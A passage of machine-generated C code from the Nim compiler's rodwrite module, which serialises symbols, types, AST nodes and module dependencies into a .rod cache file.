if (!!(((*loc).T == NIM_NIL))) goto LA15;
(*result) = addChar((*result), 94);
encodevint_233304(((NI) (((NI32) ((*(*loc).T).Sup.Id)))), result);
pushtype_299300(w, (*loc).T);
}
LA15: ;
{
NimStringDesc* LOC21;
if (!!(((*loc).R == NIM_NIL))) goto LA19;
(*result) = addChar((*result), 33);
LOC21 = 0;
LOC21 = ropetostr_177101((*loc).R);
encodestr_233042(LOC21, result);
}
LA19: ;
{
if (!((NI64)(oldlen + 1) == (*result)->Sup.len)) goto LA24;
(*result) = setLengthStr((*result), oldlen);
}
goto LA22;
LA24: ;
{
(*result) = addChar((*result), 62);
}
LA22: ;
}
static N_INLINE(NI, sonslen_225252)(tnode224819* n) {
NI result;
result = 0;
{
if (!(*n).kindU.S6.Sons == 0) goto LA3;
result = 0;
}
goto LA1;
LA3: ;
{
result = (*n).kindU.S6.Sons->Sup.len;
}
LA1: ;
return result;
}
N_NIMCALL(void, encodenode_299356)(trodwriter299005* w, tlineinfo195539 finfo, tnode224819* n, NimStringDesc** result) {
NU16 f;
{
if (!(n == NIM_NIL)) goto LA3;
(*result) = resizeString((*result), 2);
appendString((*result), ((NimStringDesc*) &TMP4075));
goto BeforeRet;
}
LA3: ;
(*result) = addChar((*result), 40);
encodevint_233304(((NI) ((*n).Kind)), result);
{
NimStringDesc* LOC9;
NI LOC10;
if (!!((finfo.Fileindex == (*n).Info.Fileindex))) goto LA7;
(*result) = addChar((*result), 63);
encodevint_233304(((NI) ((*n).Info.Col)), result);
(*result) = addChar((*result), 44);
encodevint_233304(((NI) ((*n).Info.Line)), result);
(*result) = addChar((*result), 44);
LOC9 = 0;
LOC9 = tofilename_197025((*n).Info.Fileindex);
LOC10 = 0;
LOC10 = fileidx_299109(w, LOC9);
encodevint_233304(LOC10, result);
}
goto LA5;
LA7: ;
{
if (!!((finfo.Line == (*n).Info.Line))) goto LA12;
(*result) = addChar((*result), 63);
encodevint_233304(((NI) ((*n).Info.Col)), result);
(*result) = addChar((*result), 44);
encodevint_233304(((NI) ((*n).Info.Line)), result);
}
goto LA5;
LA12: ;
{
if (!!((finfo.Col == (*n).Info.Col))) goto LA15;
(*result) = addChar((*result), 63);
encodevint_233304(((NI) ((*n).Info.Col)), result);
}
goto LA5;
LA15: ;
LA5: ;
f = ((*n).Flags & 4878);
{
if (!!((f == 0))) goto LA19;
(*result) = addChar((*result), 36);
encodevint_233304(((NI) (((NI32) (f)))), result);
}
LA19: ;
{
if (!!(((*n).Typ == NIM_NIL))) goto LA23;
(*result) = addChar((*result), 94);
encodevint_233304((*(*n).Typ).Sup.Id, result);
pushtype_299300(w, (*n).Typ);
}
LA23: ;
switch ((*n).Kind) {
case ((NU8) 5) ... ((NU8) 10):
{
{
if (!!(((*n).kindU.S1.Intval == 0))) goto LA28;
(*result) = addChar((*result), 33);
encodevbiggestint_233264((*n).kindU.S1.Intval, result);
}
LA28: ;
}
break;
case ((NU8) 16) ... ((NU8) 18):
{
{
NimStringDesc* LOC35;
if (!!(((*n).kindU.S2.Floatval == 0.0))) goto LA33;
(*result) = addChar((*result), 33);
LOC35 = 0;
LOC35 = nimFloatToStr((*n).kindU.S2.Floatval);
encodestr_233042(LOC35, result);
}
LA33: ;
}
break;
case ((NU8) 20) ... ((NU8) 22):
{
{
if (!!((((*n).kindU.S3.Strval) && ((*n).kindU.S3.Strval)->Sup.len == 0))) goto LA39;
(*result) = addChar((*result), 33);
encodestr_233042((*n).kindU.S3.Strval, result);
}
LA39: ;
}
break;
case ((NU8) 2):
{
(*result) = addChar((*result), 33);
encodestr_233042((*(*n).kindU.S5.Ident).S, result);
}
break;
case ((NU8) 3):
{
(*result) = addChar((*result), 33);
encodevint_233304((*(*n).kindU.S4.Sym).Sup.Id, result);
pushsym_299328(w, (*n).kindU.S4.Sym);
}
break;
default:
{
{
NI i_299581;
NI HEX3Atmp_299598;
NI LOC45;
NI res_299601;
i_299581 = 0;
HEX3Atmp_299598 = 0;
LOC45 = 0;
LOC45 = sonslen_225252(n);
HEX3Atmp_299598 = (NI64)(LOC45 - 1);
res_299601 = 0;
{
while (1) {
if (!(res_299601 <= HEX3Atmp_299598)) goto LA47;
i_299581 = res_299601;
encodenode_299356(w, (*n).Info, (*n).kindU.S6.Sons->data[i_299581], result);
res_299601 += 1;
} LA47: ;
}
}
}
break;
}
(*result) = addChar((*result), 41);
BeforeRet: ;
}
N_NIMCALL(void, encodelib_299899)(trodwriter299005* w, tlib224837* lib, tlineinfo195539 info, NimStringDesc** result) {
NimStringDesc* LOC1;
(*result) = addChar((*result), 124);
encodevint_233304(((NI) ((*lib).Kind)), result);
(*result) = addChar((*result), 124);
LOC1 = 0;
LOC1 = ropetostr_177101((*lib).Name);
encodestr_233042(LOC1, result);
(*result) = addChar((*result), 124);
encodenode_299356(w, info, (*lib).Path, result);
}
N_NIMCALL(void, encodesym_299920)(trodwriter299005* w, tsym224849* s, NimStringDesc** result) {
NimStringDesc* LOC17;
NI LOC18;
{
if (!(s == NIM_NIL)) goto LA3;
(*result) = resizeString((*result), 2);
appendString((*result), ((NimStringDesc*) &TMP4074));
goto BeforeRet;
}
LA3: ;
encodevint_233304(((NI) ((*s).Kind)), result);
(*result) = addChar((*result), 43);
encodevint_233304((*s).Sup.Id, result);
(*result) = addChar((*result), 38);
encodestr_233042((*(*s).Name).S, result);
{
if (!!(((*s).Typ == NIM_NIL))) goto LA7;
(*result) = addChar((*result), 94);
encodevint_233304((*(*s).Typ).Sup.Id, result);
pushtype_299300(w, (*s).Typ);
}
LA7: ;
(*result) = addChar((*result), 63);
{
if (!!(((*s).Info.Col == ((NI16) -1)))) goto LA11;
encodevint_233304(((NI) ((*s).Info.Col)), result);
}
LA11: ;
(*result) = addChar((*result), 44);
{
if (!!(((*s).Info.Line == ((NI16) -1)))) goto LA15;
encodevint_233304(((NI) ((*s).Info.Line)), result);
}
LA15: ;
(*result) = addChar((*result), 44);
LOC17 = 0;
LOC17 = tofilename_197025((*s).Info.Fileindex);
LOC18 = 0;
LOC18 = fileidx_299109(w, LOC17);
encodevint_233304(LOC18, result);
{
if (!!(((*s).Owner == NIM_NIL))) goto LA21;
(*result) = addChar((*result), 42);
encodevint_233304((*(*s).Owner).Sup.Id, result);
pushsym_299328(w, (*s).Owner);
}
LA21: ;
{
if (!!(((*s).Flags == 0))) goto LA25;
(*result) = addChar((*result), 36);
encodevint_233304(((NI) (((NI32) ((*s).Flags)))), result);
}
LA25: ;
{
if (!!(((*s).Magic == ((NU16) 0)))) goto LA29;
(*result) = addChar((*result), 64);
encodevint_233304(((NI) ((*s).Magic)), result);
}
LA29: ;
{
if (!!(((*s).Options == (*w).Options))) goto LA33;
(*result) = addChar((*result), 33);
encodevint_233304(((NI) (((NI32) ((*s).Options)))), result);
}
LA33: ;
{
if (!!(((*s).Position == 0))) goto LA37;
(*result) = addChar((*result), 37);
encodevint_233304((*s).Position, result);
}
LA37: ;
{
if (!!(((*s).Offset == -1))) goto LA41;
(*result) = addChar((*result), 96);
encodevint_233304((*s).Offset, result);
}
LA41: ;
encodeloc_299618(w, &(*s).Loc, result);
{
if (!!(((*s).Annex == NIM_NIL))) goto LA45;
encodelib_299899(w, (*s).Annex, (*s).Info, result);
}
LA45: ;
{
tlineinfo195539 LOC51;
if (!!(((*s).Constraint == NIM_NIL))) goto LA49;
(*result) = addChar((*result), 35);
LOC51 = unknownlineinfo_196405();
encodenode_299356(w, LOC51, (*s).Constraint, result);
}
LA49: ;
{
if (!!(((*s).Ast == NIM_NIL))) goto LA54;
encodenode_299356(w, (*s).Info, (*s).Ast, result);
}
LA54: ;
BeforeRet: ;
}
static N_INLINE(NIM_BOOL, isroutine_231781)(tsym224849* s) {
NIM_BOOL result;
result = 0;
result = ((520192 &(1<<(((*s).Kind)&31)))!=0);
return result;
}
static N_INLINE(NIM_BOOL, haspattern_231804)(tsym224849* s) {
NIM_BOOL result;
NIM_BOOL LOC1;
result = 0;
LOC1 = 0;
LOC1 = isroutine_231781(s);
if (!(LOC1)) goto LA2;
LOC1 = !(((*(*(*s).Ast).kindU.S6.Sons->data[1]).Kind == ((NU8) 1)));
LA2: ;
result = LOC1;
return result;
}
N_NIMCALL(NI, symstack_300401)(trodwriter299005* w) {
NI result;
NI i;
result = 0;
i = 0;
{
while (1) {
tsym224849* s;
if (!(i < (*w).Sstack->Sup.len)) goto LA2;
s = (*w).Sstack->data[i];
{
if (!(((*s).Flags &(1<<((((NU8) 4))&31)))!=0)) goto LA5;
asgnRefNoCycle((void**) &(*w).Sstack->data[result], s);
result += 1;
}
goto LA3;
LA5: ;
{
NI LOC8;
tsym224849* m;
LOC8 = 0;
LOC8 = iitableget_234289((*w).Index.Tab, (*s).Sup.Id);
if (!(LOC8 == (IL64(-9223372036854775807) - IL64(1)))) goto LA9;
m = getmodule_234243(s);
{
NimStringDesc* LOC15;
if (!(m == NIM_NIL)) goto LA13;
LOC15 = 0;
LOC15 = rawNewString((*(*s).Name).S->Sup.len + 22);
appendString(LOC15, ((NimStringDesc*) &TMP4072));
appendString(LOC15, (*(*s).Name).S);
internalerror_197989(LOC15);
}
LA13: ;
{
NIM_BOOL LOC18;
NI l;
LOC18 = 0;
LOC18 = ((*m).Sup.Id == (*(*w).Module).Sup.Id);
if (LOC18) goto LA19;
LOC18 = (((*s).Flags &(1<<((((NU8) 2))&31)))!=0);
LA19: ;
if (!LOC18) goto LA20;
l = (*w).Data->Sup.len;
addtoindex_300209(&(*w).Index, (*s).Sup.Id, l);
encodesym_299920(w, s, &(*w).Data);
(*w).Data = resizeString((*w).Data, 1);
appendString((*w).Data, ((NimStringDesc*) &TMP4073));
{
NIM_BOOL LOC24;
LOC24 = 0;
LOC24 = ((6 & (*s).Flags) == 2);
if (!(LOC24)) goto LA25;
LOC24 = ((43513728 &(1<<(((*s).Kind)&31)))!=0);
LA25: ;
if (!LOC24) goto LA26;
encodestr_233042((*(*s).Name).S, &(*w).Interf);
(*w).Interf = addChar((*w).Interf, 32);
encodevint_233304((*s).Sup.Id, &(*w).Interf);
(*w).Interf = resizeString((*w).Interf, 1);
appendString((*w).Interf, ((NimStringDesc*) &TMP4073));
}
LA26: ;
{
if (!(((*s).Flags &(1<<((((NU8) 16))&31)))!=0)) goto LA30;
encodestr_233042((*(*s).Name).S, &(*w).Compilerprocs);
(*w).Compilerprocs = addChar((*w).Compilerprocs, 32);
encodevint_233304((*s).Sup.Id, &(*w).Compilerprocs);
(*w).Compilerprocs = resizeString((*w).Compilerprocs, 1);
appendString((*w).Compilerprocs, ((NimStringDesc*) &TMP4073));
}
LA30: ;
{
NIM_BOOL LOC34;
LOC34 = 0;
LOC34 = ((*s).Kind == ((NU8) 16));
if (LOC34) goto LA35;
LOC34 = haspattern_231804(s);
LA35: ;
if (!LOC34) goto LA36;
{
if (!!(((*w).Converters->Sup.len == 0))) goto LA40;
(*w).Converters = addChar((*w).Converters, 32);
}
LA40: ;
encodevint_233304((*s).Sup.Id, &(*w).Converters);
}
LA36: ;
{
NIM_BOOL LOC44;
LOC44 = 0;
LOC44 = ((*s).Kind == ((NU8) 13));
if (!(LOC44)) goto LA45;
LOC44 = !((((*s).Flags &(1<<((((NU8) 25))&31)))!=0));
LA45: ;
if (!LOC44) goto LA46;
{
if (!!(((*w).Methods->Sup.len == 0))) goto LA50;
(*w).Methods = addChar((*w).Methods, 32);
}
LA50: ;
encodevint_233304((*s).Sup.Id, &(*w).Methods);
}
LA46: ;
}
goto LA16;
LA20: ;
{
NI LOC53;
LOC53 = 0;
LOC53 = iitableget_234289((*w).Imports.Tab, (*s).Sup.Id);
if (!(LOC53 == (IL64(-9223372036854775807) - IL64(1)))) goto LA54;
addtoindex_300209(&(*w).Imports, (*s).Sup.Id, (*m).Sup.Id);
}
goto LA16;
LA54: ;
LA16: ;
}
goto LA3;
LA9: ;
LA3: ;
i += 1;
} LA2: ;
}
(*w).Sstack = (tsymseq224821*) setLengthSeq(&((*w).Sstack)->Sup, sizeof(tsym224849*), result);
return result;
}
static N_INLINE(NI, sonslen_225258)(ttype224855* n) {
NI result;
result = 0;
{
if (!(*n).Sons == 0) goto LA3;
result = 0;
}
goto LA1;
LA3: ;
{
result = (*n).Sons->Sup.len;
}
LA1: ;
return result;
}
N_NIMCALL(void, encodetype_299720)(trodwriter299005* w, ttype224855* t, NimStringDesc** result) {
{
if (!(t == NIM_NIL)) goto LA3;
(*result) = resizeString((*result), 2);
appendString((*result), ((NimStringDesc*) &TMP4076));
goto BeforeRet;
}
LA3: ;
{
if (!((*t).Kind == ((NU8) 30))) goto LA7;
internalerror_197989(((NimStringDesc*) &TMP4077));
}
LA7: ;
(*result) = addChar((*result), 91);
encodevint_233304(((NI) ((*t).Kind)), result);
(*result) = addChar((*result), 43);
encodevint_233304((*t).Sup.Id, result);
{
tlineinfo195539 LOC13;
if (!!(((*t).N == NIM_NIL))) goto LA11;
LOC13 = unknownlineinfo_196405();
encodenode_299356(w, LOC13, (*t).N, result);
}
LA11: ;
{
if (!!(((*t).Flags == 0))) goto LA16;
(*result) = addChar((*result), 36);
encodevint_233304(((NI) (((NI32) ((*t).Flags)))), result);
}
LA16: ;
{
if (!!(((*t).Callconv == ((NU8) 0)))) goto LA20;
(*result) = addChar((*result), 63);
encodevint_233304(((NI) ((*t).Callconv)), result);
}
LA20: ;
{
if (!!(((*t).Owner == NIM_NIL))) goto LA24;
(*result) = addChar((*result), 42);
encodevint_233304((*(*t).Owner).Sup.Id, result);
pushsym_299328(w, (*t).Owner);
}
LA24: ;
{
if (!!(((*t).Sym == NIM_NIL))) goto LA28;
(*result) = addChar((*result), 38);
encodevint_233304((*(*t).Sym).Sup.Id, result);
pushsym_299328(w, (*t).Sym);
}
LA28: ;
{
if (!!(((*t).Size == -1))) goto LA32;
(*result) = addChar((*result), 47);
encodevbiggestint_233264((*t).Size, result);
}
LA32: ;
{
if (!!(((*t).Align == ((NI16) 2)))) goto LA36;
(*result) = addChar((*result), 61);
encodevint_233304(((NI) ((*t).Align)), result);
}
LA36: ;
encodeloc_299618(w, &(*t).Loc, result);
{
NI i_299859;
NI HEX3Atmp_299879;
NI LOC39;
NI res_299882;
i_299859 = 0;
HEX3Atmp_299879 = 0;
LOC39 = 0;
LOC39 = sonslen_225258(t);
HEX3Atmp_299879 = (NI64)(LOC39 - 1);
res_299882 = 0;
{
while (1) {
if (!(res_299882 <= HEX3Atmp_299879)) goto LA41;
i_299859 = res_299882;
{
if (!((*t).Sons->data[i_299859] == NIM_NIL)) goto LA44;
(*result) = resizeString((*result), 3);
appendString((*result), ((NimStringDesc*) &TMP4078));
}
goto LA42;
LA44: ;
{
(*result) = addChar((*result), 94);
encodevint_233304((*(*t).Sons->data[i_299859]).Sup.Id, result);
pushtype_299300(w, (*t).Sons->data[i_299859]);
}
LA42: ;
res_299882 += 1;
} LA41: ;
}
}
BeforeRet: ;
}
N_NIMCALL(NI, typestack_300842)(trodwriter299005* w) {
NI result;
NI i;
result = 0;
i = 0;
{
while (1) {
ttype224855* t;
if (!(i < (*w).Tstack->Sup.len)) goto LA2;
t = (*w).Tstack->data[i];
{
if (!((*t).Kind == ((NU8) 30))) goto LA5;
asgnRefNoCycle((void**) &(*w).Tstack->data[result], t);
result += 1;
}
goto LA3;
LA5: ;
{
NI LOC8;
NI l;
LOC8 = 0;
LOC8 = iitableget_234289((*w).Index.Tab, (*t).Sup.Id);
if (!(LOC8 == (IL64(-9223372036854775807) - IL64(1)))) goto LA9;
l = (*w).Data->Sup.len;
addtoindex_300209(&(*w).Index, (*t).Sup.Id, l);
encodetype_299720(w, t, &(*w).Data);
(*w).Data = resizeString((*w).Data, 1);
appendString((*w).Data, ((NimStringDesc*) &TMP4073));
}
goto LA3;
LA9: ;
LA3: ;
i += 1;
} LA2: ;
}
(*w).Tstack = (ttypeseq224851*) setLengthSeq(&((*w).Tstack)->Sup, sizeof(ttype224855*), result);
return result;
}
N_NIMCALL(void, processstacks_300925)(trodwriter299005* w, NIM_BOOL finalpass) {
NI olds;
NI oldt;
olds = 0;
oldt = 0;
{
while (1) {
NI slen;
NI tlen;
slen = symstack_300401(w);
tlen = typestack_300842(w);
{
NIM_BOOL LOC5;
LOC5 = 0;
LOC5 = (slen == olds);
if (!(LOC5)) goto LA6;
LOC5 = (tlen == oldt);
LA6: ;
if (!LOC5) goto LA7;
goto LA1;
}
LA7: ;
olds = slen;
oldt = tlen;
}
} LA1: ;
{
NIM_BOOL LOC11;
NIM_BOOL LOC13;
LOC11 = 0;
LOC11 = finalpass;
if (!(LOC11)) goto LA12;
LOC13 = 0;
LOC13 = !((olds == 0));
if (LOC13) goto LA14;
LOC13 = !((oldt == 0));
LA14: ;
LOC11 = LOC13;
LA12: ;
if (!LOC11) goto LA15;
internalerror_197989(((NimStringDesc*) &TMP4079));
}
LA15: ;
}
N_NIMCALL(void, rawaddinterfacesym_300946)(trodwriter299005* w, tsym224849* s) {
pushsym_299328(w, s);
processstacks_300925(w, NIM_FALSE);
}
N_NIMCALL(tpasscontext285005*, myopen_301687)(tsym224849* module) {
tpasscontext285005* result;
trodwriter299005* w;
NI32 LOC5;
result = 0;
{
if (!((*module).Sup.Id < 0)) goto LA3;
internalerror_197989(((NimStringDesc*) &TMP4066));
}
LA3: ;
LOC5 = 0;
LOC5 = getcrc_277747(((NI32) ((*module).Position)));
w = newrodwriter_299029(LOC5, module);
rawaddinterfacesym_300946(w, module);
result = &w->Sup;
return result;
}
N_NIMCALL(void, addinterfacesym_299050)(trodwriter299005* w, tsym224849* s) {
{
if (!(w == NIM_NIL)) goto LA3;
goto BeforeRet;
}
LA3: ;
{
NIM_BOOL LOC7;
LOC7 = 0;
LOC7 = ((43513728 &(1<<(((*s).Kind)&31)))!=0);
if (!(LOC7)) goto LA8;
LOC7 = !(((65538 & (*s).Flags) == 0));
LA8: ;
if (!LOC7) goto LA9;
rawaddinterfacesym_300946(w, s);
}
LA9: ;
BeforeRet: ;
}
N_NIMCALL(void, addmoddep_299036)(trodwriter299005* w, NimStringDesc* dep) {
NI LOC5;
{
if (!!(((*w).Moddeps->Sup.len == 0))) goto LA3;
(*w).Moddeps = addChar((*w).Moddeps, 32);
}
LA3: ;
LOC5 = 0;
LOC5 = fileidx_299109(w, dep);
encodevint_233304(LOC5, &(*w).Moddeps);
}
N_NIMCALL(void, addstmt_299057)(trodwriter299005* w, tnode224819* n) {
tlineinfo195539 LOC1;
encodevint_233304((*w).Data->Sup.len, &(*w).Init);
(*w).Init = resizeString((*w).Init, 1);
appendString((*w).Init, ((NimStringDesc*) &TMP4073));
LOC1 = unknownlineinfo_196405();
encodenode_299356(w, LOC1, n, &(*w).Data);
(*w).Data = resizeString((*w).Data, 1);
appendString((*w).Data, ((NimStringDesc*) &TMP4073));
processstacks_300925(w, NIM_FALSE);
}
N_NIMCALL(void, addincldep_299043)(trodwriter299005* w, NimStringDesc* dep) {
NimStringDesc* resolved;
NimStringDesc* LOC1;
NI LOC2;
NI32 LOC3;
LOC1 = 0;
LOC1 = tofullpath_197037((*(*w).Module).Info.Fileindex);
resolved = findmodule_170366(dep, LOC1);
LOC2 = 0;
LOC2 = fileidx_299109(w, dep);
encodevint_233304(LOC2, &(*w).Incldeps);
(*w).Incldeps = resizeString((*w).Incldeps, 1);
appendString((*w).Incldeps, ((NimStringDesc*) &TMP4071));
LOC3 = 0;
LOC3 = crcfromfile_176046(resolved);
encodevint_233304(((NI) (LOC3)), &(*w).Incldeps);
(*w).Incldeps = resizeString((*w).Incldeps, 1);
appendString((*w).Incldeps, ((NimStringDesc*) &TMP4073));
}
N_NIMCALL(tnode224819*, process_301204)(tpasscontext285005* c, tnode224819* n) {
tnode224819* result;
trodwriter299005* w;
result = 0;
result = n;
{
if (!(c == NIM_NIL)) goto LA3;
goto BeforeRet;
}
LA3: ;
w = ((trodwriter299005*) (c));
switch ((*n).Kind) {
case ((NU8) 114):
{
{
NI i_301239;
NI HEX3Atmp_301599;
NI LOC7;
NI res_301602;
i_301239 = 0;
HEX3Atmp_301599 = 0;
LOC7 = 0;
LOC7 = sonslen_225252(n);
HEX3Atmp_301599 = (NI64)(LOC7 - 1);
res_301602 = 0;
{
while (1) {
tnode224819* LOC10;
if (!(res_301602 <= HEX3Atmp_301599)) goto LA9;
i_301239 = res_301602;
LOC10 = 0;
LOC10 = process_301204(c, (*n).kindU.S6.Sons->data[i_301239]);
res_301602 += 1;
} LA9: ;
}
}
}
break;
case ((NU8) 79):
case ((NU8) 80):
case ((NU8) 84):
case ((NU8) 81):
case ((NU8) 83):
case ((NU8) 82):
{
tsym224849* s;
s = (*(*n).kindU.S6.Sons->data[0]).kindU.S4.Sym;
{
if (!(s == NIM_NIL)) goto LA14;
internalerror_197970((*n).Info, ((NimStringDesc*) &TMP4080));
}
LA14: ;
{
if (!((*n).kindU.S6.Sons->data[6] == NIM_NIL)) goto LA18;
internalerror_197970((*n).Info, ((NimStringDesc*) &TMP4081));
}
LA18: ;
{
NIM_BOOL LOC22;
NIM_BOOL LOC23;
LOC22 = 0;
LOC23 = 0;
LOC23 = !(((*(*n).kindU.S6.Sons->data[6]).Kind == ((NU8) 1)));
if (LOC23) goto LA24;
LOC23 = !(((*s).Magic == ((NU16) 0)));
LA24: ;
LOC22 = LOC23;
if (LOC22) goto LA25;
LOC22 = !((((*s).Flags &(1<<((((NU8) 4))&31)))!=0));
LA25: ;
if (!LOC22) goto LA26;
addinterfacesym_299050(w, s);
}
LA26: ;
}
break;
case ((NU8) 99):
case ((NU8) 100):
case ((NU8) 101):
{
{
NI i_301388;
NI HEX3Atmp_301606;
NI LOC30;
NI res_301609;
i_301388 = 0;
HEX3Atmp_301606 = 0;
LOC30 = 0;
LOC30 = sonslen_225252(n);
HEX3Atmp_301606 = (NI64)(LOC30 - 1);
res_301609 = 0;
{
while (1) {
if (!(res_301609 <= HEX3Atmp_301606)) goto LA32;
i_301388 = res_301609;
{
tnode224819* a;
a = (*n).kindU.S6.Sons->data[i_301388];
{
if (!((*a).Kind == ((NU8) 124))) goto LA36;
goto LA33;
}
LA36: ;
addinterfacesym_299050(w, (*(*a).kindU.S6.Sons->data[0]).kindU.S4.Sym);
} LA33: ;
res_301609 += 1;
} LA32: ;
}
}
}
break;
case ((NU8) 98):
{
{
NI i_301453;
NI HEX3Atmp_301613;
NI LOC40;
NI res_301616;
i_301453 = 0;
HEX3Atmp_301613 = 0;
LOC40 = 0;
LOC40 = sonslen_225252(n);
HEX3Atmp_301613 = (NI64)(LOC40 - 1);
res_301616 = 0;
{
while (1) {
if (!(res_301616 <= HEX3Atmp_301613)) goto LA42;
i_301453 = res_301616;
{
tnode224819* a;
tsym224849* s;
a = (*n).kindU.S6.Sons->data[i_301453];
{
if (!((*a).Kind == ((NU8) 124))) goto LA46;
goto LA43;
}
LA46: ;
{
if (!!(((*(*a).kindU.S6.Sons->data[0]).Kind == ((NU8) 3)))) goto LA50;
internalerror_197970((*a).Info, ((NimStringDesc*) &TMP4080));
}
LA50: ;
s = (*(*a).kindU.S6.Sons->data[0]).kindU.S4.Sym;
addinterfacesym_299050(w, s);
} LA43: ;
res_301616 += 1;
} LA42: ;
}
}
}
break;
case ((NU8) 115):
{
{
NI i_301542;
NI HEX3Atmp_301619;
NI LOC54;
NI res_301622;
i_301542 = 0;
HEX3Atmp_301619 = 0;
LOC54 = 0;
LOC54 = sonslen_225252(n);
HEX3Atmp_301619 = (NI64)(LOC54 - 1);
res_301622 = 0;
{
while (1) {
NimStringDesc* LOC57;
if (!(res_301622 <= HEX3Atmp_301619)) goto LA56;
i_301542 = res_301622;
LOC57 = 0;
LOC57 = getmodulename_297018((*n).kindU.S6.Sons->data[i_301542]);
addmoddep_299036(w, LOC57);
res_301622 += 1;
} LA56: ;
}
}
addstmt_299057(w, n);
}
break;
case ((NU8) 119):
{
NimStringDesc* LOC59;
LOC59 = 0;
LOC59 = getmodulename_297018((*n).kindU.S6.Sons->data[0]);
addmoddep_299036(w, LOC59);
addstmt_299057(w, n);
}
break;
case ((NU8) 120):
{
{
NI i_301583;
NI HEX3Atmp_301625;
NI LOC62;
NI res_301628;
i_301583 = 0;
HEX3Atmp_301625 = 0;
LOC62 = 0;
LOC62 = sonslen_225252(n);
HEX3Atmp_301625 = (NI64)(LOC62 - 1);
res_301628 = 0;
{
while (1) {
NimStringDesc* LOC65;
if (!(res_301628 <= HEX3Atmp_301625)) goto LA64;
i_301583 = res_301628;
LOC65 = 0;
LOC65 = getmodulename_297018((*n).kindU.S6.Sons->data[i_301583]);
addincldep_299043(w, LOC65);
res_301628 += 1;
} LA64: ;
}
}
}
break;
case ((NU8) 90):
{
addstmt_299057(w, n);
}
break;
default:
{
}
break;
}
BeforeRet: ;
return result;
}
N_NIMCALL(void, writerod_299064)(trodwriter299005* w) {
FILE* f;
NimStringDesc* id;
NimStringDesc* orig;
NimStringDesc* crc;
NimStringDesc* options;
NimStringDesc* goptions;
NimStringDesc* cmd;
NimStringDesc* files;
processstacks_300925(w, NIM_TRUE);
f = 0;
{
NimStringDesc* LOC3;
NimStringDesc* LOC4;
NimStringDesc* LOC5;
NimStringDesc* LOC6;
NIM_BOOL LOC7;
LOC3 = 0;
LOC3 = tofilename_197025(((NI32) ((*(*w).Module).Position)));
LOC4 = 0;
LOC4 = withpackagename_169946(LOC3);
LOC5 = 0;
LOC5 = noschangeFileExt(LOC4, ((NimStringDesc*) &TMP4082));
LOC6 = 0;
LOC6 = completegeneratedfilepath_170001(LOC5, NIM_TRUE);
LOC7 = 0;
LOC7 = open_12403(&f, LOC6, ((NU8) 1), -1);
if (!!(LOC7)) goto LA8;
goto BeforeRet;
}
LA8: ;
write_12665(f, ((NimStringDesc*) &TMP4083));
write_12665(f, ((NimStringDesc*) &TMP4084));
write_12665(f, ((NimStringDesc*) &TMP4073));
id = copyString(((NimStringDesc*) &TMP4085));
encodevint_233304((*(*w).Module).Sup.Id, &id);
write_12665(f, id);
write_12665(f, ((NimStringDesc*) &TMP4073));
orig = copyString(((NimStringDesc*) &TMP4086));
encodestr_233042((*w).Origfile, &orig);
write_12665(f, orig);
write_12665(f, ((NimStringDesc*) &TMP4073));
crc = copyString(((NimStringDesc*) &TMP4087));
encodevint_233304(((NI) ((*w).Crc)), &crc);
write_12665(f, crc);
write_12665(f, ((NimStringDesc*) &TMP4073));
options = copyString(((NimStringDesc*) &TMP4088));
encodevint_233304(((NI) (((NI32) ((*w).Options)))), &options);
write_12665(f, options);
write_12665(f, ((NimStringDesc*) &TMP4073));
goptions = copyString(((NimStringDesc*) &TMP4089));
encodevint_233304(((NI) (((NI32) (gglobaloptions_169118)))), &goptions);
write_12665(f, goptions);
write_12665(f, ((NimStringDesc*) &TMP4073));
cmd = copyString(((NimStringDesc*) &TMP4090));
encodevint_233304(((NI) (((NI32) (gcmd_169120)))), &cmd);
write_12665(f, cmd);
write_12665(f, ((NimStringDesc*) &TMP4073));
write_12665(f, ((NimStringDesc*) &TMP4091));
write_12665(f, (*w).Defines);
write_12665(f, ((NimStringDesc*) &TMP4073));
files = copyString(((NimStringDesc*) &TMP4092));
{
NI i_301111;
NI HEX3Atmp_301184;
NI res_301187;
i_301111 = 0;
HEX3Atmp_301184 = 0;
HEX3Atmp_301184 = ((*w).Files->Sup.len-1);
res_301187 = 0;
{
while (1) {
if (!(res_301187 <= HEX3Atmp_301184)) goto LA12;
i_301111 = res_301187;
encodestr_233042((*w).Files->data[i_301111], &files);
files = resizeString(files, 1);
appendString(files, ((NimStringDesc*) &TMP4073));
res_301187 += 1;
} LA12: ;
}
}
write_12665(f, files);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4094));
write_12665(f, (*w).Incldeps);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4095));
write_12665(f, (*w).Moddeps);
write_12665(f, ((NimStringDesc*) &TMP4073));
write_12665(f, ((NimStringDesc*) &TMP4096));
write_12665(f, (*w).Interf);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4097));
write_12665(f, (*w).Compilerprocs);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4098));
write_12665(f, (*w).Index.R);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4099));
write_12665(f, (*w).Imports.R);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4100));
write_12665(f, (*w).Converters);
write_12665(f, ((NimStringDesc*) &TMP4073));
write_12665(f, ((NimStringDesc*) &TMP4101));
write_12665(f, (*w).Methods);
write_12665(f, ((NimStringDesc*) &TMP4073));
write_12665(f, ((NimStringDesc*) &TMP4102));
write_12665(f, (*w).Init);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4103));
write_12665(f, (*w).Data);
write_12665(f, ((NimStringDesc*) &TMP4093));
write_12665(f, ((NimStringDesc*) &TMP4104));
fclose(f);
BeforeRet: ;
}
N_NIMCALL(tnode224819*, myclose_301699)(tpasscontext285005* c, tnode224819* n) {
tnode224819* result;
trodwriter299005* w;
NimStringDesc* LOC1;
result = 0;
result = process_301204(c, n);
w = ((trodwriter299005*) (c));
writerod_299064(w);
LOC1 = 0;
LOC1 = HEX2F_116899(gprojectpath_169233, gprojectname_169232);
savemaxids_223477(LOC1);
return result;
}
NIM_EXTERNC N_NOINLINE(void, HEX00_rodwriteInit)(void) {
}
NIM_EXTERNC N_NOINLINE(void, HEX00_rodwriteDatInit)(void) {
static TNimNode* TMP4067[18];
static TNimNode TMP828[19];
NTI299005.size = sizeof(trodwriter299005);
NTI299005.kind = 17;
